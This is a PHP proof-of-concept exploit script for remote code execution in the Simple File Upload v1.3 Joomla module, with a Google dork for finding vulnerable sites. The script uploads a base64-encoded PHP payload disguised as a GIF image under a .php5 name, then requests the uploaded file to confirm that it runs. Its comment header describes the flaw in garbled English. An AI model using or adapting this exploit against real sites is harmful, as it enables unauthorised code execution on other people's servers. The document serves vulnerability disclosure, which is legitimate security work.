<?PHP
/*
--------------------------------------------------------------------------------
Title: Simple File Upload v1.3 (module for joomla) Remote Code Execution Exploit
--------------------------------------------------------------------------------
Author...............: gmda
Google Dork..........:"Simple File Upload v1.3" "Powered by Joomla"
Mail.................: gmda[at]email[dot]it
Site.................: http://www.gmda.altervista.org/
Date.................: 26/12/2011
Software Link: http://wasen.net/downloads/mod_simpleFileUpload.1.3.zip
Version: 1.3
Tested on: winxp php version 5.3.2 Apache 2.0
*the setup of the module is no captcha other setups are the default*
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
The vulnerability is closed to transmit malformed packets to the server that he still plays and saves in his belly.
This thing can be a bad intent to send commands to the server running clearly causing safety problems ........
The script has peroblemi upload quality control .....
*/
$host="127.0.0.1";
$port=80;
$shell="R0lGOC8qLyo8P3BocCBwYXNzdGhydSgnY2FsYycpPz4vKg==";
$ContentType="image/gif";
$post="POST http://$host/Joomla_1.5.23_ita-Stable_test_expl/index.php";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$filename="file.php5";
if(!$fp) die($errstr.$errno); else {
$data="-----------------------------41184676334\r\n";
$data.="Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n";
$data.="\r\n";
$data.="100000\r\n-----------------------------41184676334\r\n";
$data.="Content-Disposition: form-data;name=\"sfuFormFields44\"\r\n";
$data.="\r\n\r\n";
$data.="-----------------------------41184676334\r\n";
$data.="Content-Disposition:form-data; name=\"uploadedfile44[]\"; filename=\"file.php5\"\r\nContent-Type: image/gif\r\n\r\n";
$data.=base64_decode($shell)."\r\n";
$data.="-----------------------------41184676334--\r\n";
$packet="$post HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
fwrite($fp, $packet);
fclose($fp);
}
$h = @fopen("http://".$host."/Joomla_1.5.23_ita-Stable_test_expl/images/file.php5", "r");
if ($h) {
while (($buf = fgets($h, 4096)) !== false) {
echo $buf;
echo("exploit was successful");
}
fclose($h);
}else{
echo("Error: exploit fail");
}
?>
